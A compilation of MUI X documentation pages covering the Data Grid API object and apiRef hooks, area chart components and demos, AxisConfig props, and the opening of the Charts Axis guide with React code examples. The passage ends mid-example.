The API object is an interface containing the state and all the methods available to programmatically interact with the Data Grid.

You can find the list of all the API methods on the [`GridApi` page](/x/api/data-grid/grid-api/).

:::warning
New and experimental features are prefixed with `unstable_` and may be removed, renamed, or reworked at any time.
:::

## How to use the API object

The API object is accessible through the `apiRef` variable.
To access this variable, use `useGridApiContext` (inside `DataGrid`) or `useGridApiRef` (outside `DataGrid`).

### Inside the Data Grid

To access the API object inside component slots or inside renders (for instance, `renderCell` or `renderHeader`), use the `useGridApiContext` hook.
The snippet below renders `Button` inside the Grid's `GridToolbarContainer`:

```tsx
function CustomToolbar() {
  const apiRef = useGridApiContext();

  return (
    <GridToolbarContainer>
      <Button onClick={() => apiRef.current.setPage(1)}>Go to page 1</Button>
    </GridToolbarContainer>
  );
}
```

:::info
You don't need to initialize the API object using `useGridApiRef` to be able to use it inside Data Grid components.
:::

```tsx
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import { DataGrid, GridToolbarContainer, useGridApiContext } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

function CustomToolbar() {
  const apiRef = useGridApiContext();

  const handleGoToPage1 = () => apiRef.current.setPage(1);

  return (
    <GridToolbarContainer>
      <Button onClick={handleGoToPage1}>Go to page 1</Button>
    </GridToolbarContainer>
  );
}

export default function UseGridApiContext() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        slots={{
          toolbar: CustomToolbar,
        }}
        initialState={{
          ...data.initialState,
          pagination: {
            paginationModel: {
              pageSize: 10,
            },
          },
        }}
        showToolbar
      />
    </Box>
  );
}

```

### Outside the Data Grid

When using the API object outside Data Grid components, you must initialize it using the `useGridApiRef` hook.
You can then pass it to the `apiRef` prop on the `DataGrid`:

```tsx
function CustomDataGrid(props) {
  const apiRef = useGridApiRef();

  return (
    <div>
      <Button onClick={() => apiRef.current.setPage(1)}>Go to page 1</Button>
      <DataGrid apiRef={apiRef} {...other} />
    </div>
  );
}
```

:::warning
The API object is populated by the `DataGrid`'s various plugins during the first render of the component.
If you try to use it in the first render of the component, it will crash because not all methods are registered yet.
:::

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import { DataGrid, useGridApiRef } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function UseGridApiRef() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: 10,
  });

  const apiRef = useGridApiRef();

  const handleGoToPage1 = () => apiRef.current?.setPage(1);

  return (
    <Stack spacing={1} sx={{ width: '100%' }} alignItems="flex-start">
      <Button onClick={handleGoToPage1}>Go to page 1</Button>
      <Box sx={{ height: 400, width: '100%' }}>
        <DataGrid
          {...data}
          loading={loading}
          apiRef={apiRef}
          pagination
          paginationModel={paginationModel}
          onPaginationModelChange={setPaginationModel}
          pageSizeOptions={[10, 25, 50, 100]}
        />
      </Box>
    </Stack>
  );
}

```

## Common use cases

### Access the disabled column features

You can control the disabled features of a column (for example hiding, sorting, filtering, pinning, grouping, etc) programmatically using `initialState`, controlled models, or the API object.

In the example below, the API object is used to build a custom sorting for the `firstName` column which is not sortable by the default grid UI (using the `colDef.sortable` property set to `false`).

```tsx
const columns = [{ field: 'rating', sortable: false }, ...otherColumns];

function CustomDataGrid(props) {
  const apiRef = useGridApiRef();

  return (
    <div>
      <Button onClick={() => apiRef.current.sortColumn('firstName', 'asc')}>
        Sort by ASC
      </Button>
      <Button onClick={() => apiRef.current.sortColumn('firstName', 'desc')}>
        Sort by DESC
      </Button>
      <Button onClick={() => apiRef.current.sortColumn('firstName', null)}>
        Clear sort
      </Button>
      <DataGrid columns={columns} apiRef={apiRef} {...other} />
    </div>
  );
}
```

```tsx
import Button from '@mui/material/Button';
import Box from '@mui/material/Box';
import { DataGrid, useGridApiRef, GridColDef } from '@mui/x-data-grid';

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 90 },
  {
    field: 'firstName',
    headerName: 'First name',
    width: 150,
    editable: true,
    filterable: false,
    sortable: false,
  },
  {
    field: 'lastName',
    headerName: 'Last name',
    width: 150,
    editable: true,
  },
];

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon' },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei' },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime' },
  { id: 4, lastName: 'Stark', firstName: 'Arya' },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys' },
  { id: 6, lastName: 'Melisandre', firstName: null },
  { id: 7, lastName: 'Clifford', firstName: 'Ferrara' },
  { id: 8, lastName: 'Frances', firstName: 'Rossini' },
  { id: 9, lastName: 'Roxie', firstName: 'Harvey' },
];

export default function AccessDisabledColumnFeatures() {
  const apiRef = useGridApiRef();

  return (
    <div style={{ width: '100%' }}>
      <Button onClick={() => apiRef.current?.sortColumn('firstName', 'asc')}>
        Sort by ASC
      </Button>
      <Button onClick={() => apiRef.current?.sortColumn('firstName', 'desc')}>
        Sort by DESC
      </Button>
      <Button onClick={() => apiRef.current?.sortColumn('firstName', null)}>
        Remove sort
      </Button>
      <Box sx={{ height: 400 }}>
        <DataGrid columns={columns} rows={rows} apiRef={apiRef} />
      </Box>
    </div>
  );
}

```

### Retrieve data from the state

See [State—Access the state](/x/react-data-grid/state/#access-the-state) for a detailed example.

### Listen to grid events

See [Events—Subscribing to events](/x/react-data-grid/events/#subscribing-to-events) for a detailed example.

## API

- [`GridApi`](/x/api/data-grid/grid-api/)
- [`DataGrid`](/x/api/data-grid/data-grid/)
- [`DataGridPro`](/x/api/data-grid/data-grid-pro/)
- [`DataGridPremium`](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/charts/area-element.md

# AreaElement API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { AreaElement } from '@mui/x-charts/LineChart';
// or
import { AreaElement } from '@mui/x-charts';
// or
import { AreaElement } from '@mui/x-charts-pro';
// or
import { AreaElement } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| area | `AnimatedArea` | - | The component that renders the area. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | faded | Styles applied to the root element when faded. |
| - | highlighted | Styles applied to the root element when highlighted. |
| - | root | Styles applied to the root element. |
| - | series | Styles applied to the root element for a specified series.
Needs to be suffixed with the series ID: `.${areaElementClasses.series}-${seriesId}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/AreaElement.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/AreaElement.tsx)

---

# Source: https://mui.com/x/api/charts/area-plot.md

# AreaPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { AreaPlot } from '@mui/x-charts/LineChart';
// or
import { AreaPlot } from '@mui/x-charts';
// or
import { AreaPlot } from '@mui/x-charts-pro';
// or
import { AreaPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| onItemClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, lineItemIdentifier: LineItemIdentifier) => void` | - | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| area | `AnimatedArea` | - | The component that renders the area. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/AreaPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/AreaPlot.tsx)

---

# Source: https://mui.com/x/react-charts/areas-demo.md

---
title: Charts - Areas demos
productId: x-charts
components: LineChart, LineElement, LineHighlightElement, LineHighlightPlot, LinePlot, MarkElement, MarkPlot, AreaElement, AreaPlot
---

# Charts - Areas demos

This page groups demos using area charts.

## SimpleAreaChart

```tsx
import { LineChart, lineElementClasses } from '@mui/x-charts/LineChart';
import Box from '@mui/material/Box';

const margin = { right: 24 };
const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function SimpleAreaChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[{ data: uData, label: 'uv', area: true, showMark: false }]}
        xAxis={[{ scaleType: 'point', data: xLabels, height: 28 }]}
        sx={{
          [`& .${lineElementClasses.root}`]: {
            display: 'none',
          },
        }}
        margin={margin}
      />
    </Box>
  );
}

```

## StackedAreaChart

```tsx
import { LineChart, lineElementClasses } from '@mui/x-charts/LineChart';
import Box from '@mui/material/Box';

const margin = { right: 24 };
const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const amtData = [2400, 2210, 0, 2000, 2181, 2500, 2100];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function StackedAreaChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[
          { data: uData, label: 'uv', area: true, stack: 'total', showMark: false },
          { data: pData, label: 'pv', area: true, stack: 'total', showMark: false },
          {
            data: amtData,
            label: 'amt',
            area: true,
            stack: 'total',
            showMark: false,
          },
        ]}
        xAxis={[{ scaleType: 'point', data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
        sx={{
          [`& .${lineElementClasses.root}`]: {
            display: 'none',
          },
        }}
        margin={margin}
      />
    </Box>
  );
}

```

## TinyAreaChart

```tsx
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { AreaPlot } from '@mui/x-charts/LineChart';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function TinyAreaChart() {
  return (
    <ChartContainer
      width={500}
      height={300}
      series={[
        {
          data: uData,
          type: 'line',
          label: 'uv',
          area: true,
          stack: 'total',
        },
      ]}
      xAxis={[{ scaleType: 'point', data: xLabels }]}
    >
      <AreaPlot />
    </ChartContainer>
  );
}

```

## PercentAreaChart

```tsx
import { LineChart } from '@mui/x-charts/LineChart';
import Box from '@mui/material/Box';

const time = [
  new Date(2015, 1, 0),
  new Date(2015, 2, 0),
  new Date(2015, 3, 0),
  new Date(2015, 4, 0),
  new Date(2015, 5, 0),
  new Date(2015, 6, 0),
  new Date(2015, 7, 0),
];
const a = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const b = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const c = [2400, 2210, 2290, 2000, 2181, 2500, 2100];

const getPercents = (array: number[]) =>
  array.map((v, index) => (100 * v) / (a[index] + b[index] + c[index]));

export default function PercentAreaChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <LineChart
        series={[
          {
            data: getPercents(a),
            type: 'line',
            label: 'a',
            area: true,
            stack: 'total',
            showMark: false,
          },
          {
            data: getPercents(b),
            type: 'line',
            label: 'b',
            area: true,
            stack: 'total',
            showMark: false,
          },
          {
            data: getPercents(c),
            type: 'line',
            label: 'c',
            area: true,
            stack: 'total',
            showMark: false,
          },
        ]}
        xAxis={[
          {
            scaleType: 'time',
            data: time,
            min: time[0].getTime(),
            max: time[time.length - 1].getTime(),
            height: 28,
          },
        ]}
      />
    </Box>
  );
}

```

## AreaChartConnectNulls

```tsx
import Stack from '@mui/material/Stack';
import { LineChart } from '@mui/x-charts/LineChart';

const data = [4000, 3000, 2000, null, 1890, 2390, 3490];
const xData = ['Page A', 'Page B', 'Page C', 'Page D', 'Page E', 'Page F', 'Page G'];
const margin = { right: 24 };

export default function AreaChartConnectNulls() {
  return (
    <Stack sx={{ width: '100%', height: 400 }}>
      <LineChart
        xAxis={[{ data: xData, scaleType: 'point', height: 28 }]}
        series={[{ data, showMark: false, area: true }]}
        margin={margin}
      />
      <LineChart
        xAxis={[{ data: xData, scaleType: 'point', height: 28 }]}
        series={[{ data, showMark: false, area: true, connectNulls: true }]}
        margin={margin}
      />
    </Stack>
  );
}

```

## AreaChartFillByValue

To display multiple colors in the area you can specify a gradient to fill the area (the same method can be applied on other SVG components).

You can pass this gradient definition as a children of the `<LineChart />` and use `sx` to override the area `fill` property.
To do so you will need to use the [`<linearGradient />`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/linearGradient) and [`<stop />`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/stop) SVG elements.

The first part is to get the SVG total height.
Which can be done with the `useDrawingArea()` hook.
It's useful to define the `<linearGradient />` as a vector that goes from the top to the bottom of our SVG container.

Then to define where the gradient should switch from one color to another, you can use the `useYScale` hook to get the y coordinate of value 0.

:::info
The `<stop />` offset is a ratio of gradient vector.
That's why you need to divide the coordinate by the SVG height.
:::

```tsx
import { ScaleLinear } from '@mui/x-charts-vendor/d3-scale';
import { green, red } from '@mui/material/colors';
import Stack from '@mui/material/Stack';
import { useYScale, useDrawingArea } from '@mui/x-charts/hooks';
import { LineChart, areaElementClasses } from '@mui/x-charts/LineChart';

const margin = { right: 24, bottom: 0 };
const data = [4000, 3000, -1000, 500, -2100, -250, 3490];
const xData = ['Page A', 'Page B', 'Page C', 'Page D', 'Page E', 'Page F', 'Page G'];

type ColorSwitchProps = {
  threshold: number;
  color1: string;
  color2: string;
  id: string;
};

function ColorSwitch({ threshold, color1, color2, id }: ColorSwitchProps) {
  const { top, height, bottom } = useDrawingArea();
  const svgHeight = top + bottom + height;

  const scale = useYScale() as ScaleLinear<number, number>; // You can provide the axis Id if you have multiple ones
  const y0 = scale(threshold); // The coordinate of the origin
  const off = y0 !== undefined ? y0 / svgHeight : 0;

  return (
    <defs>
      <linearGradient
        id={id}
        x1="0"
        x2="0"
        y1="0"
        y2={`${svgHeight}px`}
        gradientUnits="userSpaceOnUse" // Use the SVG coordinate instead of the component ones.
      >
        <stop offset={off} stopColor={color1} stopOpacity={1} />
        <stop offset={off} stopColor={color2} stopOpacity={1} />
      </linearGradient>
    </defs>
  );
}

export default function AreaChartFillByValue() {
  return (
    <Stack direction="column" width="100%" spacing={1}>
      <LineChart
        xAxis={[{ data: xData, scaleType: 'point' }]}
        yAxis={[{ min: -3000, max: 4000, width: 50 }]}
        series={[{ data, showMark: false, area: true }]}
        height={200}
        margin={margin}
        sx={{
          [`& .${areaElementClasses.root}`]: {
            fill: 'url(#switch-color-id-1)',
            filter: 'none', // Remove the default filter.
          },
        }}
      >
        <ColorSwitch
          color1="#11B678" // green
          color2="#FF3143" // red
          threshold={0}
          id="switch-color-id-1"
        />
        <rect x={0} y={0} width={5} height="100%" fill="url(#switch-color-id-1)" />
      </LineChart>

      <LineChart
        xAxis={[{ data: xData, scaleType: 'point' }]}
        yAxis={[{ min: -3000, max: 4000, width: 50 }]}
        series={[{ data, showMark: false, area: true }]}
        height={200}
        margin={margin}
        sx={{
          [`& .${areaElementClasses.root}`]: {
            fill: 'url(#switch-color-id-2)',
            filter: 'none', // Remove the default filter.
          },
        }}
      >
        <ColorPalette id="switch-color-id-2" />

        <rect x={0} y={0} width={5} height="100%" fill="url(#switch-color-id-2)" />
      </LineChart>
    </Stack>
  );
}

function ColorPalette({ id }: { id: string }) {
  const { top, height, bottom } = useDrawingArea();
  const svgHeight = top + bottom + height;

  const scale = useYScale() as ScaleLinear<number, number>; // You can provide the axis Id if you have multiple ones

  return (
    <defs>
      <linearGradient
        id={id}
        x1="0"
        x2="0"
        y1="0"
        y2={`${svgHeight}px`}
        gradientUnits="userSpaceOnUse" // Use the SVG coordinate instead of the component ones.
      >
        <stop
          offset={scale(5000) / svgHeight}
          stopColor={green[400]}
          stopOpacity={1}
        />
        <stop
          offset={scale(4000) / svgHeight}
          stopColor={green[400]}
          stopOpacity={1}
        />
        <stop
          offset={scale(4000) / svgHeight}
          stopColor={green[300]}
          stopOpacity={1}
        />
        <stop
          offset={scale(3000) / svgHeight}
          stopColor={green[300]}
          stopOpacity={1}
        />
        <stop
          offset={scale(3000) / svgHeight}
          stopColor={green[200]}
          stopOpacity={1}
        />
        <stop
          offset={scale(2000) / svgHeight}
          stopColor={green[200]}
          stopOpacity={1}
        />
        <stop
          offset={scale(2000) / svgHeight}
          stopColor={green[100]}
          stopOpacity={1}
        />
        <stop
          offset={scale(1000) / svgHeight}
          stopColor={green[100]}
          stopOpacity={1}
        />
        <stop
          offset={scale(1000) / svgHeight}
          stopColor={green[50]}
          stopOpacity={1}
        />
        <stop offset={scale(0) / svgHeight} stopColor={green[50]} stopOpacity={1} />
        <stop offset={scale(0) / svgHeight} stopColor={red[100]} stopOpacity={1} />
        <stop
          offset={scale(-1000) / svgHeight}
          stopColor={red[100]}
          stopOpacity={1}
        />
        <stop
          offset={scale(-1000) / svgHeight}
          stopColor={red[200]}
          stopOpacity={1}
        />
        <stop
          offset={scale(-2000) / svgHeight}
          stopColor={red[200]}
          stopOpacity={1}
        />
        <stop
          offset={scale(-3000) / svgHeight}
          stopColor={red[300]}
          stopOpacity={1}
        />
      </linearGradient>
    </defs>
  );
}

```

---

# Source: https://mui.com/x/api/charts/axis-config.md

# AxisConfig API

## Import

```jsx
import { AxisConfig } from '@mui/x-charts-premium'
// or
import { AxisConfig } from '@mui/x-charts-pro'
// or
import { AxisConfig } from '@mui/x-charts'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| id | `AxisId` | - | Yes |  |
| scaleType | `'linear'` | - | Yes |  |
| classes | `Partial<ChartsAxisClasses>` | - | No |  |
| colorMap | `ContinuousColorConfig \| PiecewiseColorConfig` | - | No |  |
| data | `readonly V[]` | - | No |  |
| dataKey | `string` | - | No |  |
| disableLine | `boolean` | `false` | No |  |
| disableTicks | `boolean` | `false` | No |  |
| domainLimit | `'nice' \| 'strict' \| ((min: number, max: number) => { min: number; max: number })` | - | No |  |
| height | `number` | `45 if an axis label is provided, 25 otherwise.` | No |  |
| hideTooltip | `boolean` | - | No |  |
| ignoreTooltip | `boolean` | - | No |  |
| label | `string` | - | No |  |
| labelStyle | `ChartsTextProps['style']` | - | No |  |
| offset | `number` | `0` | No |  |
| position | `'top' \| 'bottom' \| 'none'` | - | No |  |
| reverse | `boolean` | - | No |  |
| slotProps | `Partial<ChartsAxisSlotProps>` | `{}` | No |  |
| slots | `Partial<ChartsAxisSlots>` | `{}` | No |  |
| sx | `SxProps` | - | No |  |
| tickInterval | `'auto' \| ((value: any, index: number) => boolean) \| any[]` | `'auto'` | No |  |
| tickLabelInterval | `'auto' \| ((value: any, index: number) => boolean)` | `'auto'` | No |  |
| tickLabelPlacement | `'middle' \| 'tick'` | `'middle'` | No |  |
| tickLabelStyle | `ChartsTextProps['style']` | - | No |  |
| tickMaxStep | `number` | - | No |  |
| tickMinStep | `number` | - | No |  |
| tickNumber | `number` | - | No |  |
| tickPlacement | `'start' \| 'end' \| 'middle' \| 'extremities'` | `'extremities'` | No |  |
| tickSize | `number` | `6` | No |  |
| tickSpacing | `number` | `0` | No |  |
| valueFormatter | `<TScaleName extends S>(value: V, context: AxisValueFormatterContext<TScaleName>) => string` | - | No |  |
| zoom | `boolean \| ZoomOptions` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/react-charts/axis.md

---
title: Charts - Axis
productId: x-charts
components: ChartsAxis, ChartsReferenceLine, ChartsText, ChartsXAxis, ChartsYAxis, ChartsReferenceLine
---

# Charts - Axis

Define, format, and customize Chart axes.

An axis is a reference line that data points are measured against in a chart.
The MUI X Line Chart, Bar Chart, Scatter Chart, and Heatmap give you customization options for both x-axes and y-axes to suit a wide range of use cases.

## Creating custom axes

Use the `xAxis` and `yAxis` props to define custom axes.
These props expect an array of objects.

In the demo below, two lines are rendered using the same data points.
One has a linear y-axis and the other has a logarithmic one.
Each axis definition is identified by its property `id`.
Then each series specifies the axis it uses with the `xAxisId` and `yAxisId` properties.

```tsx
import Box from '@mui/material/Box';
import { LineChart } from '@mui/x-charts/LineChart';

const sample = [1, 10, 30, 50, 70, 90, 100];

export default function ScaleExample() {
  return (
    <Box sx={{ width: '100%', maxWidth: 500 }}>
      <LineChart
        xAxis={[{ data: sample }]}
        yAxis={[
          { id: 'linearAxis', scaleType: 'linear', position: 'left' },
          { id: 'logAxis', scaleType: 'log', position: 'right' },
        ]}
        series={[
          { yAxisId: 'linearAxis', data: sample, label: 'linear' },
          { yAxisId: 'logAxis', data: sample, label: 'log' },
        ]}
        height={400}
      />
    </Box>
  );
}

```

:::info
ID management, as shown in the example above, is not necessary for most common use cases.

If you don't provide `xAxisId` or `yAxisId` then the series uses the axis defined first.
This is why you won't see definitions of `id`, `xAxisId`, or `yAxisId` in most demos in the Charts docs—they rely on the default values.
:::

### Axis type and data

The axis type is specified by its property `scaleType`.
The axis definition object has a `data` property which expects an array of values corresponding to the `scaleType`, as shown in the table below:

| scaleType                              | Description                                              | Number | Date | String |
| :------------------------------------- | :------------------------------------------------------- | :----: | :--: | :----: |
| `'band'`                               | Splits the axis in equal bands.                          |   ✅   |  ✅  |   ✅   |
| `'point'`                              | Splits the axis in equally spaced points.                |   ✅   |  ✅  |   ✅   |
| `'linear'` `'log'` `'symlog'` `'sqrt'` | Maps numerical values to the available space.            |   ✅   |  ❌  |   ❌   |
| `'time'` `'utc'`                       | Maps JavaScript `Date()` objects to the available space. |   ❌   |  ✅  |   ❌   |

Some series types also require specific axis attributes:

- In line charts, the `xAxis` must have a `data` array so each y-value maps to a specific x-value for proper chart rendering.
- In bar charts, the axis that represents categories (x-axis for vertical bars or y-axis for horizontal bars) must use `scaleType: 'band'`.

## Axis formatter

Axis data can be displayed in ticks, tooltips, and other locations.
You can use the `valueFormatter` property to change how the data is displayed.
The formatter's second argument provides rendering context for advanced use cases.

In the demo below, `valueFormatter` is used to shorten months and introduce a new line for ticks.
It uses the `context.location` to determine where the value is rendered.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

const otherSetting = {
  height: 300,
  yAxis: [{ label: 'rainfall (mm)', width: 60 }],
  grid: { horizontal: true },
};

const dataset = [
  {
    london: 59,
    paris: 57,
    newYork: 86,
    seoul: 21,
    month: 'January',
  },
  {
    london: 50,
    paris: 52,
    newYork: 78,
    seoul: 28,
    month: 'February',
  },
  {
    london: 47,
    paris: 53,
    newYork: 106,
    seoul: 41,
    month: 'March',
  },
  {
    london: 54,
    paris: 56,
    newYork: 92,
    seoul: 73,
    month: 'April',
  },
  {
    london: 57,
    paris: 69,
    newYork: 92,
    seoul: 99,
    month: 'May',
  },
  {
    london: 60,
    paris: 63,
    newYork: 103,
    seoul: 144,
    month: 'June',
  },
  {
    london: 59,
    paris: 60,
    newYork: 105,
    seoul: 319,
    month: 'July',
  },
  {
    london: 65,
    paris: 60,
    newYork: 106,
    seoul: 249,
    month: 'August',
  },
  {
    london: 51,
    paris: 51,
    newYork: 95,
    seoul: 131,
    month: 'September',
  },
  {
    london: 60,
    paris: 65,
    newYork: 97,
    seoul: 55,
    month: 'October',
  },
  {
    london: 67,
    paris: 64,
    newYork: 76,
    seoul: 48,
    month: 'November',
  },
  {
    london: 61,
    paris: 70,
    newYork: 103,
    seoul: 25,
    month: 'December',
  },
];

const valueFormatter = (value: number | null) => `${value}mm`;

export default function FormatterDemo() {
  return (
    <BarChart
      dataset={dataset}
      xAxis={[
        {
          scaleType: 'band',
          dataKey: 'month',
          valueFormatter: (month, context) =>
            context.location === 'tick'
              ? `${month.slice(0, 3)} \n2023`
              : `${month} 2023`,
          height: 40,
        },
      ]}
      series={[{ dataKey: 'seoul', label: 'Seoul rainfall', valueFormatter }]}
      {...otherSetting}
    />
  );
}

```

### Ticks without labels

Some use cases may call for displaying ticks with no labels.
For example, it's common to use ticks to indicate a logarithmic scale but omit the labels from the axis when they'd be too numerous or complex to display.

The default tick formatter achieves this by rendering an empty string for ticks that should not show labels.
If you want to customize the formatting, but want to keep the default behavior for ticks without labels, you can check that the `context.defaultTickLabel` property is different from the empty string:

```tsx
import * as React from 'react';
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import RadioGroup from '@mui/material/RadioGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Radio from '@mui/material/Radio';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import { AxisValueFormatterContext, ScatterValueType } from '@mui/x-charts/models';
import { earthquakeData } from '../dataset/earthquakeData';

const settings = {
  height: 400,
  grid: { horizontal: true },
};
const data = Object.entries(earthquakeData).reduce<ScatterValueType[]>(
  (acc, [magnitude, events]) => {
    acc.push({ x: Number.parseFloat(magnitude), y: events });

    return acc;
  },
  [],
);

const formatter = new Intl.NumberFormat('en-US', {
  notation: 'compact',
  maximumFractionDigits: 1,
});

function valueFormatterIgnoreEmpty(value: any, context: AxisValueFormatterContext) {
  if (context.location === 'tick' && context.defaultTickLabel === '') {
    return '';
  }

  return formatter.format(value);
}

function valueFormatterShowAll(value: any) {
  return formatter.format(value);
}

export default function TicksWithoutLabels() {
  const [tickFormatter, setTickFormatter] = React.useState(
    () => valueFormatterIgnoreEmpty,
  );

  return (
    <Stack width="100%" direction={{ md: 'row' }} alignItems="center" rowGap={2}>
      <Stack width="100%">
        <Typography variant="h6" textAlign="center">
          Worldwide Earthquake Count and Magnitude, 2020-2024
        </Typography>
        <ScatterChart
          {...settings}
          xAxis={[{ height: 48, label: 'Magnitude' }]}
          yAxis={[
            {
              scaleType: 'log',
              valueFormatter: tickFormatter,
              label: 'Number of events (Log scale)',
              width: 50,
            },
          ]}
          series={[{ data }]}
        />
        <Typography variant="caption">Source: US Geological Survey</Typography>
      </Stack>
      <FormControl sx={{ flexShrink: 0 }}>
        <FormLabel id="tick-format-label">Tick Format</FormLabel>
        <RadioGroup
          aria-labelledby="tick-format-label"
          name="tick-format"
          value={tickFormatter === valueFormatterIgnoreEmpty ? 'empty' : 'all'}
          onChange={(event) =>
            setTickFormatter(() =>
              event.target.value === 'empty'
                ? valueFormatterIgnoreEmpty
                : valueFormatterShowAll,
            )
          }
        >
          <FormControlLabel
            value="empty"
            control={<Radio />}
            label="Ignore empty ticks"
          />
          <FormControlLabel
            value="all"
            control={<Radio />}
            label="Show all values"
          />
        </RadioGroup>
      </FormControl>
    </Stack>
  );
}

```

### Using the D3 formatter

The context gives you access to the axis scale, the number of ticks (if applicable), and the default formatted value.
You can use the D3 [`tickFormat(tickNumber, specifier)`](https://d3js.org/d3-scale/linear#tickFormat) method to adapt the tick format based on the scale properties as shown below:

```tsx
import { ScaleLogarithmic } from '@mui/x-charts-vendor/d3-scale';
import { LineChart } from '@mui/x-charts/LineChart';
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';

const otherSetting = {
  height: 300,
  grid: { horizontal: true, vertical: true },
};

// https://en.wikipedia.org/wiki/Low-pass_filter
const f0 = 440;
const frequencyResponse = (f: number) => 5 / Math.sqrt(1 + (f / f0) ** 2);

const dataset = [
  0.1, 0.5, 0.8, 1, 5, 8, 10, 50, 80, 100, 500, 800, 1_000, 5_000, 8_000, 10_000,
  50_000, 80_000, 100_000, 500_000, 800_000, 1_000_000,
].map((f) => ({ frequency: f, voltage: frequencyResponse(f) }));

export default function FormatterD3() {
  return (
    <LineChart
      dataset={dataset}
      xAxis={[
        {
          scaleType: 'log',
          label: 'f (Hz)',
          dataKey: 'frequency',
          tickNumber: 20,
          valueFormatter: (f, context) => {
            if (context.location === 'tick') {
              const d3Text = (
                context.scale as ScaleLogarithmic<number, number, never>
              ).tickFormat(
                context.tickNumber!,
                'e',
              )(f);

              return d3Text;
            }
            return `${f.toLocaleString()}Hz`;
          },
        },
      ]}
      yAxis={[
        {
          scaleType: 'log',
          label: 'Vo/Vi',
          width: 60,
          valueFormatter: (f, context) => {
            if (context.location === 'tick') {
              const d3Text = (
                context.scale as ScaleLogarithmic<number, number, never>
              ).tickFormat(
                30,
                'f',
              )(f);

              return d3Text;
            }
            return f.toLocaleString();
          },
        },
      ]}
      series={[{ dataKey: 'voltage' }]}
      {...otherSetting}
    >
      <ChartsReferenceLine x={f0} />
    </LineChart>
  );
}

```

## Axis subdomain

By default, the axis domain is computed so that all data is visible.
To show a specific range of values, you can provide the `min` and/or `max` properties to the axis definition:

```js
xAxis={[
  {
    min: 10,
    max: 50,
  },
]}
```

```tsx
import * as React from 'react';
import Slider from '@mui/material/Slider';
import Box from '@mui/material/Box';
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import { Chance } from 'chance';

const chance = new Chance(42);

const data = Array.from({ length: 200 }, () => ({
  x: chance.floating({ min: -25, max: 25 }),
  y: chance.floating({ min: -25, max: 25 }),
})).map((d, index) => ({ ...d, id: index }));

const minDistance = 10;

export default function MinMaxExample() {
  const [value, setValue] = React.useState<number[]>([-25, 25]);

